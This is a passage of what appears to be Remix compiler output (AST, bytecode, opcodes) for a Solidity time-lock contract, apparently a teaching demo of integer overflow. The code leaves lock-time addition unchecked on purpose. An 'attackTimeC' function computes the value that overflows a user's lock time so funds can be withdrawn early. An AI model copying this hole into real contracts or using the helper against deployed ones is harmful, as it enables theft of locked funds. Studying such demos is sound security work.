"nodeType": "FunctionCall", | |
"src": "517:35:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_tuple$__$", | |
"typeString": "tuple()" | |
} | |
}, | |
"id": 65, | |
"nodeType": "ExpressionStatement", | |
"src": "517:35:0" | |
}, | |
{ | |
"expression": { | |
"argumentTypes": null, | |
"id": 71, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"lValueRequested": false, | |
"leftHandSide": { | |
"argumentTypes": null, | |
"baseExpression": { | |
"argumentTypes": null, | |
"id": 66, | |
"name": "balances", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [], | |
"referencedDeclaration": 5, | |
"src": "562:8:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_mapping$_t_address_$_t_uint256_$", | |
"typeString": "mapping(address => uint256)" | |
} | |
}, | |
"id": 69, | |
"indexExpression": { | |
"argumentTypes": null, | |
"expression": { | |
"argumentTypes": null, | |
"id": 67, | |
"name": "msg", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [], | |
"referencedDeclaration": 121, | |
"src": "571:3:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_magic_message", | |
"typeString": "msg" | |
} | |
}, | |
"id": 68, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"lValueRequested": false, | |
"memberName": "sender", | |
"nodeType": "MemberAccess", | |
"referencedDeclaration": null, | |
"src": "571:10:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_address", | |
"typeString": "address" | |
} | |
}, | |
"isConstant": false, | |
"isLValue": true, | |
"isPure": false, | |
"lValueRequested": true, | |
"nodeType": "IndexAccess", | |
"src": "562:20:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
}, | |
"nodeType": "Assignment", | |
"operator": "=", | |
"rightHandSide": { | |
"argumentTypes": null, | |
"hexValue": "30", | |
"id": 70, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": true, | |
"kind": "number", | |
"lValueRequested": false, | |
"nodeType": "Literal", | |
"src": "585:1:0", | |
"subdenomination": null, | |
"typeDescriptions": { | |
"typeIdentifier": "t_rational_0_by_1", | |
"typeString": "int_const 0" | |
}, | |
"value": "0" | |
}, | |
"src": "562:24:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
}, | |
"id": 72, | |
"nodeType": "ExpressionStatement", | |
"src": "562:24:0" | |
}, | |
{ | |
"expression": { | |
"argumentTypes": null, | |
"arguments": [ | |
{ | |
"argumentTypes": null, | |
"hexValue": "31", | |
"id": 78, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": true, | |
"kind": "number", | |
"lValueRequested": false, | |
"nodeType": "Literal", | |
"src": "616:7:0", | |
"subdenomination": "ether", | |
"typeDescriptions": { | |
"typeIdentifier": "t_rational_1000000000000000000_by_1", | |
"typeString": "int_const 1000000000000000000" | |
}, | |
"value": "1" | |
} | |
], | |
"expression": { | |
"argumentTypes": [ | |
{ | |
"typeIdentifier": "t_rational_1000000000000000000_by_1", | |
"typeString": "int_const 1000000000000000000" | |
} | |
], | |
"expression": { | |
"argumentTypes": null, | |
"expression": { | |
"argumentTypes": null, | |
"id": 73, | |
"name": "msg", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [], | |
"referencedDeclaration": 121, | |
"src": "596:3:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_magic_message", | |
"typeString": "msg" | |
} | |
}, | |
"id": 76, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"lValueRequested": false, | |
"memberName": "sender", | |
"nodeType": "MemberAccess", | |
"referencedDeclaration": null, | |
"src": "596:10:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_address", | |
"typeString": "address" | |
} | |
}, | |
"id": 77, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"lValueRequested": false, | |
"memberName": "transfer", | |
"nodeType": "MemberAccess", | |
"referencedDeclaration": null, | |
"src": "596:19:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_function_transfer_nonpayable$_t_uint256_$returns$__$", | |
"typeString": "function (uint256)" | |
} | |
}, | |
"id": 79, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"kind": "functionCall", | |
"lValueRequested": false, | |
"names": [], | |
"nodeType": "FunctionCall", | |
"src": "596:28:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_tuple$__$", | |
"typeString": "tuple()" | |
} | |
}, | |
"id": 80, | |
"nodeType": "ExpressionStatement", | |
"src": "596:28:0" | |
} | |
] | |
}, | |
"documentation": null, | |
"id": 82, | |
"implemented": true, | |
"isConstructor": false, | |
"isDeclaredConst": false, | |
"modifiers": [], | |
"name": "withdraw", | |
"nodeType": "FunctionDefinition", | |
"parameters": { | |
"id": 46, | |
"nodeType": "ParameterList", | |
"parameters": [], | |
"src": "454:2:0" | |
}, | |
"payable": false, | |
"returnParameters": { | |
"id": 47, | |
"nodeType": "ParameterList", | |
"parameters": [], | |
"src": "464:0:0" | |
}, | |
"scope": 106, | |
"src": "437:194:0", | |
"stateMutability": "nonpayable", | |
"superFunction": null, | |
"visibility": "public" | |
}, | |
{ | |
"body": { | |
"id": 104, | |
"nodeType": "Block", | |
"src": "756:95:0", | |
"statements": [ | |
{ | |
"expression": { | |
"argumentTypes": null, | |
"id": 100, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"lValueRequested": false, | |
"leftHandSide": { | |
"argumentTypes": null, | |
"id": 87, | |
"name": "attackTime", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [], | |
"referencedDeclaration": 11, | |
"src": "767:10:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
}, | |
"nodeType": "Assignment", | |
"operator": "=", | |
"rightHandSide": { | |
"argumentTypes": null, | |
"commonType": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
}, | |
"id": 99, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"lValueRequested": false, | |
"leftExpression": { | |
"argumentTypes": null, | |
"commonType": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
}, | |
"id": 97, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"lValueRequested": false, | |
"leftExpression": { | |
"argumentTypes": null, | |
"commonType": { | |
"typeIdentifier": "t_rational_115792089237316195423570985008687907853269984665640564039457584007913129639935_by_1", | |
"typeString": "int_const 1157...(70 digits omitted)...9935" | |
}, | |
"id": 92, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": true, | |
"lValueRequested": false, | |
"leftExpression": { | |
"argumentTypes": null, | |
"commonType": { | |
"typeIdentifier": "t_rational_115792089237316195423570985008687907853269984665640564039457584007913129639936_by_1", | |
"typeString": "int_const 1157...(70 digits omitted)...9936" | |
}, | |
"id": 90, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": true, | |
"lValueRequested": false, | |
"leftExpression": { | |
"argumentTypes": null, | |
"hexValue": "32", | |
"id": 88, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": true, | |
"kind": "number", | |
"lValueRequested": false, | |
"nodeType": "Literal", | |
"src": "780:1:0", | |
"subdenomination": null, | |
"typeDescriptions": { | |
"typeIdentifier": "t_rational_2_by_1", | |
"typeString": "int_const 2" | |
}, | |
"value": "2" | |
}, | |
"nodeType": "BinaryOperation", | |
"operator": "**", | |
"rightExpression": { | |
"argumentTypes": null, | |
"hexValue": "323536", | |
"id": 89, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": true, | |
"kind": "number", | |
"lValueRequested": false, | |
"nodeType": "Literal", | |
"src": "783:3:0", | |
"subdenomination": null, | |
"typeDescriptions": { | |
"typeIdentifier": "t_rational_256_by_1", | |
"typeString": "int_const 256" | |
}, | |
"value": "256" | |
}, | |
"src": "780:6:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_rational_115792089237316195423570985008687907853269984665640564039457584007913129639936_by_1", | |
"typeString": "int_const 1157...(70 digits omitted)...9936" | |
} | |
}, | |
"nodeType": "BinaryOperation", | |
"operator": "-", | |
"rightExpression": { | |
"argumentTypes": null, | |
"hexValue": "31", | |
"id": 91, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": true, | |
"kind": "number", | |
"lValueRequested": false, | |
"nodeType": "Literal", | |
"src": "789:1:0", | |
"subdenomination": null, | |
"typeDescriptions": { | |
"typeIdentifier": "t_rational_1_by_1", | |
"typeString": "int_const 1" | |
}, | |
"value": "1" | |
}, | |
"src": "780:10:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_rational_115792089237316195423570985008687907853269984665640564039457584007913129639935_by_1", | |
"typeString": "int_const 1157...(70 digits omitted)...9935" | |
} | |
}, | |
"nodeType": "BinaryOperation", | |
"operator": "-", | |
"rightExpression": { | |
"argumentTypes": null, | |
"baseExpression": { | |
"argumentTypes": null, | |
"id": 93, | |
"name": "lockTime", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [], | |
"referencedDeclaration": 9, | |
"src": "793:8:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_mapping$_t_address_$_t_uint256_$", | |
"typeString": "mapping(address => uint256)" | |
} | |
}, | |
"id": 96, | |
"indexExpression": { | |
"argumentTypes": null, | |
"expression": { | |
"argumentTypes": null, | |
"id": 94, | |
"name": "msg", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [], | |
"referencedDeclaration": 121, | |
"src": "802:3:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_magic_message", | |
"typeString": "msg" | |
} | |
}, | |
"id": 95, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"lValueRequested": false, | |
"memberName": "sender", | |
"nodeType": "MemberAccess", | |
"referencedDeclaration": null, | |
"src": "802:10:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_address", | |
"typeString": "address" | |
} | |
}, | |
"isConstant": false, | |
"isLValue": true, | |
"isPure": false, | |
"lValueRequested": false, | |
"nodeType": "IndexAccess", | |
"src": "793:20:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
}, | |
"src": "780:33:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
}, | |
"nodeType": "BinaryOperation", | |
"operator": "+", | |
"rightExpression": { | |
"argumentTypes": null, | |
"hexValue": "31", | |
"id": 98, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": true, | |
"kind": "number", | |
"lValueRequested": false, | |
"nodeType": "Literal", | |
"src": "815:1:0", | |
"subdenomination": null, | |
"typeDescriptions": { | |
"typeIdentifier": "t_rational_1_by_1", | |
"typeString": "int_const 1" | |
}, | |
"value": "1" | |
}, | |
"src": "780:36:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
}, | |
"src": "767:49:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
}, | |
"id": 101, | |
"nodeType": "ExpressionStatement", | |
"src": "767:49:0" | |
}, | |
{ | |
"expression": { | |
"argumentTypes": null, | |
"id": 102, | |
"name": "attackTime", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [], | |
"referencedDeclaration": 11, | |
"src": "834:10:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
}, | |
"functionReturnParameters": 86, | |
"id": 103, | |
"nodeType": "Return", | |
"src": "827:17:0" | |
} | |
] | |
}, | |
"documentation": null, | |
"id": 105, | |
"implemented": true, | |
"isConstructor": false, | |
"isDeclaredConst": true, | |
"modifiers": [], | |
"name": "attackTimeC", | |
"nodeType": "FunctionDefinition", | |
"parameters": { | |
"id": 83, | |
"nodeType": "ParameterList", | |
"parameters": [], | |
"src": "728:2:0" | |
}, | |
"payable": false, | |
"returnParameters": { | |
"id": 86, | |
"nodeType": "ParameterList", | |
"parameters": [ | |
{ | |
"constant": false, | |
"id": 85, | |
"name": "", | |
"nodeType": "VariableDeclaration", | |
"scope": 105, | |
"src": "751:4:0", | |
"stateVariable": false, | |
"storageLocation": "default", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
}, | |
"typeName": { | |
"id": 84, | |
"name": "uint", | |
"nodeType": "ElementaryTypeName", | |
"src": "751:4:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
}, | |
"value": null, | |
"visibility": "internal" | |
} | |
], | |
"src": "750:6:0" | |
}, | |
"scope": 106, | |
"src": "708:143:0", | |
"stateMutability": "view", | |
"superFunction": null, | |
"visibility": "public" | |
} | |
], | |
"scope": 107, | |
"src": "25:833:0" | |
} | |
], | |
"src": "0:858:0" | |
}, | |
"id": 0 | |
} | |
} | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"deploy": { | |
"VM:-": { | |
"linkReferences": {}, | |
"autoDeployLib": true | |
}, | |
"main:1": { | |
"linkReferences": {}, | |
"autoDeployLib": true | |
}, | |
"ropsten:3": { | |
"linkReferences": {}, | |
"autoDeployLib": true | |
}, | |
"rinkeby:4": { | |
"linkReferences": {}, | |
"autoDeployLib": true | |
}, | |
"kovan:42": { | |
"linkReferences": {}, | |
"autoDeployLib": true | |
}, | |
"goerli:5": { | |
"linkReferences": {}, | |
"autoDeployLib": true | |
}, | |
"Custom": { | |
"linkReferences": {}, | |
"autoDeployLib": true | |
} | |
}, | |
"data": { | |
"bytecode": { | |
"linkReferences": {}, | |
"object": "608060405234801561001057600080fd5b5061048a806100206000396000f300608060405260043610610078576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680632115eabd1461007d57806327e235e3146100a85780633ccfd60b146100ff57806379af55e414610116578063a4beda6314610143578063d0e30db01461019a575b600080fd5b34801561008957600080fd5b506100926101a4565b6040518082815260200191505060405180910390f35b3480156100b457600080fd5b506100e9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610218565b6040518082815260200191505060405180910390f35b34801561010b57600080fd5b50610114610230565b005b34801561012257600080fd5b506101416004803603810190808035906020019092919050505061035f565b005b34801561014f57600080fd5b50610184600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506103af565b6040518082815260200191505060405180910390f35b6101a26103c7565b005b600060018060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0301600281905550600254905090565b60006020528060005260406000206000915090505481565b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411151561027d57600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054421115156102ca57600080fd5b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff166108fc670de0b6b3a76400009081150290604051600060405180830381858888f1935050505015801561035c573d6000803e3d6000fd5b50565b80600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555050565b60016020528060005260406000206000915090505481565b346000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555062093a804201600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505600a165627a7a72305820a18a68fb380ab8c7786d57a51afac1dc9184ce86ccb2af91ea68c64df7bfb12b0029", | |
"opcodes": "PUSH1 0x80 PUSH1 0x40 MSTORE CALLVALUE DUP1 ISZERO PUSH2 0x10 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x48A DUP1 PUSH2 0x20 PUSH1 0x0 CODECOPY PUSH1 0x0 RETURN STOP PUSH1 0x80 PUSH1 0x40 MSTORE PUSH1 0x4 CALLDATASIZE LT PUSH2 0x78 JUMPI PUSH1 0x0 CALLDATALOAD PUSH29 0x100000000000000000000000000000000000000000000000000000000 SWAP1 DIV PUSH4 0xFFFFFFFF AND DUP1 PUSH4 0x2115EABD EQ PUSH2 0x7D JUMPI DUP1 PUSH4 0x27E235E3 EQ PUSH2 0xA8 JUMPI DUP1 PUSH4 0x3CCFD60B EQ PUSH2 0xFF JUMPI DUP1 PUSH4 0x79AF55E4 EQ PUSH2 0x116 JUMPI DUP1 PUSH4 0xA4BEDA63 EQ PUSH2 0x143 JUMPI DUP1 PUSH4 0xD0E30DB0 EQ PUSH2 0x19A JUMPI JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x89 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x92 PUSH2 0x1A4 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 DUP3 DUP2 MSTORE PUSH1 0x20 ADD SWAP2 POP POP PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0xB4 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0xE9 PUSH1 0x4 DUP1 CALLDATASIZE SUB DUP2 ADD SWAP1 DUP1 DUP1 CALLDATALOAD PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND SWAP1 PUSH1 0x20 ADD SWAP1 SWAP3 SWAP2 SWAP1 POP POP POP PUSH2 0x218 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 DUP3 DUP2 MSTORE PUSH1 0x20 ADD SWAP2 POP POP PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x10B JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x114 PUSH2 0x230 JUMP JUMPDEST STOP JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x122 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x141 PUSH1 0x4 DUP1 CALLDATASIZE SUB DUP2 ADD SWAP1 DUP1 DUP1 CALLDATALOAD SWAP1 PUSH1 0x20 ADD SWAP1 SWAP3 SWAP2 SWAP1 POP POP POP PUSH2 0x35F JUMP JUMPDEST STOP JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x14F JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x184 PUSH1 0x4 DUP1 CALLDATASIZE SUB DUP2 ADD SWAP1 DUP1 DUP1 CALLDATALOAD PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND SWAP1 PUSH1 0x20 ADD SWAP1 SWAP3 SWAP2 SWAP1 POP POP POP PUSH2 0x3AF JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 DUP3 DUP2 MSTORE PUSH1 0x20 ADD SWAP2 POP POP PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST PUSH2 0x1A2 PUSH2 0x3C7 JUMP JUMPDEST STOP JUMPDEST PUSH1 0x0 PUSH1 0x1 DUP1 PUSH1 0x0 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 SLOAD PUSH32 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF SUB ADD PUSH1 0x2 DUP2 SWAP1 SSTORE POP PUSH1 0x2 SLOAD SWAP1 POP SWAP1 JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 MSTORE DUP1 PUSH1 0x0 MSTORE PUSH1 0x40 PUSH1 0x0 KECCAK256 PUSH1 0x0 SWAP2 POP SWAP1 POP SLOAD DUP2 JUMP JUMPDEST PUSH1 0x0 DUP1 PUSH1 0x0 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 SLOAD GT ISZERO ISZERO PUSH2 0x27D JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH1 0x1 PUSH1 0x0 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 SLOAD TIMESTAMP GT ISZERO ISZERO PUSH2 0x2CA JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH1 0x0 DUP1 PUSH1 0x0 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 DUP2 SWAP1 SSTORE POP CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH2 0x8FC PUSH8 0xDE0B6B3A7640000 SWAP1 DUP2 ISZERO MUL SWAP1 PUSH1 0x40 MLOAD PUSH1 0x0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 DUP6 DUP9 DUP9 CALL SWAP4 POP POP POP POP ISZERO DUP1 ISZERO PUSH2 0x35C JUMPI RETURNDATASIZE PUSH1 0x0 DUP1 RETURNDATACOPY RETURNDATASIZE PUSH1 0x0 REVERT JUMPDEST POP JUMP JUMPDEST DUP1 PUSH1 0x1 PUSH1 0x0 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 PUSH1 0x0 DUP3 DUP3 SLOAD ADD SWAP3 POP POP DUP2 SWAP1 SSTORE POP POP JUMP JUMPDEST PUSH1 0x1 PUSH1 0x20 MSTORE DUP1 PUSH1 0x0 MSTORE PUSH1 0x40 PUSH1 0x0 KECCAK256 PUSH1 0x0 SWAP2 POP SWAP1 POP SLOAD DUP2 JUMP JUMPDEST CALLVALUE PUSH1 0x0 DUP1 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 PUSH1 0x0 DUP3 DUP3 SLOAD ADD SWAP3 POP POP DUP2 SWAP1 SSTORE POP PUSH3 0x93A80 TIMESTAMP ADD PUSH1 0x1 PUSH1 0x0 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 DUP2 SWAP1 SSTORE POP JUMP STOP LOG1 PUSH6 0x627A7A723058 KECCAK256 LOG1 DUP11 PUSH9 0xFB380AB8C7786D57A5 BYTE STATICCALL 0xc1 0xdc SWAP2 DUP5 0xce DUP7 0xcc 0xb2 0xaf SWAP2 0xea PUSH9 0xC64DF7BFB12B002900 ", | |
"sourceMap": "25:833:0:-;;;;8:9:-1;5:2;;;30:1;27;20:12;5:2;25:833:0;;;;;;;" | |
}, | |
"deployedBytecode": { | |
"linkReferences": {}, | |
"object": "608060405260043610610078576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680632115eabd1461007d57806327e235e3146100a85780633ccfd60b146100ff57806379af55e414610116578063a4beda6314610143578063d0e30db01461019a575b600080fd5b34801561008957600080fd5b506100926101a4565b6040518082815260200191505060405180910390f35b3480156100b457600080fd5b506100e9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610218565b6040518082815260200191505060405180910390f35b34801561010b57600080fd5b50610114610230565b005b34801561012257600080fd5b506101416004803603810190808035906020019092919050505061035f565b005b34801561014f57600080fd5b50610184600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506103af565b6040518082815260200191505060405180910390f35b6101a26103c7565b005b600060018060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0301600281905550600254905090565b60006020528060005260406000206000915090505481565b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411151561027d57600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054421115156102ca57600080fd5b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff166108fc670de0b6b3a76400009081150290604051600060405180830381858888f1935050505015801561035c573d6000803e3d6000fd5b50565b80600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555050565b60016020528060005260406000206000915090505481565b346000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555062093a804201600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505600a165627a7a72305820a18a68fb380ab8c7786d57a51afac1dc9184ce86ccb2af91ea68c64df7bfb12b0029", | |
"opcodes": "PUSH1 0x80 PUSH1 0x40 MSTORE PUSH1 0x4 CALLDATASIZE LT PUSH2 0x78 JUMPI PUSH1 0x0 CALLDATALOAD PUSH29 0x100000000000000000000000000000000000000000000000000000000 SWAP1 DIV PUSH4 0xFFFFFFFF AND DUP1 PUSH4 0x2115EABD EQ PUSH2 0x7D JUMPI DUP1 PUSH4 0x27E235E3 EQ PUSH2 0xA8 JUMPI DUP1 PUSH4 0x3CCFD60B EQ PUSH2 0xFF JUMPI DUP1 PUSH4 0x79AF55E4 EQ PUSH2 0x116 JUMPI DUP1 PUSH4 0xA4BEDA63 EQ PUSH2 0x143 JUMPI DUP1 PUSH4 0xD0E30DB0 EQ PUSH2 0x19A JUMPI JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x89 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x92 PUSH2 0x1A4 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 DUP3 DUP2 MSTORE PUSH1 0x20 ADD SWAP2 POP POP PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0xB4 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0xE9 PUSH1 0x4 DUP1 CALLDATASIZE SUB DUP2 ADD SWAP1 DUP1 DUP1 CALLDATALOAD PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND SWAP1 PUSH1 0x20 ADD SWAP1 SWAP3 SWAP2 SWAP1 POP POP POP PUSH2 0x218 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 DUP3 DUP2 MSTORE PUSH1 0x20 ADD SWAP2 POP POP PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x10B JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x114 PUSH2 0x230 JUMP JUMPDEST STOP JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x122 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x141 PUSH1 0x4 DUP1 CALLDATASIZE SUB DUP2 ADD SWAP1 DUP1 DUP1 CALLDATALOAD SWAP1 PUSH1 0x20 ADD SWAP1 SWAP3 SWAP2 SWAP1 POP POP POP PUSH2 0x35F JUMP JUMPDEST STOP JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x14F JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x184 PUSH1 0x4 DUP1 CALLDATASIZE SUB DUP2 ADD SWAP1 DUP1 DUP1 CALLDATALOAD PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND SWAP1 PUSH1 0x20 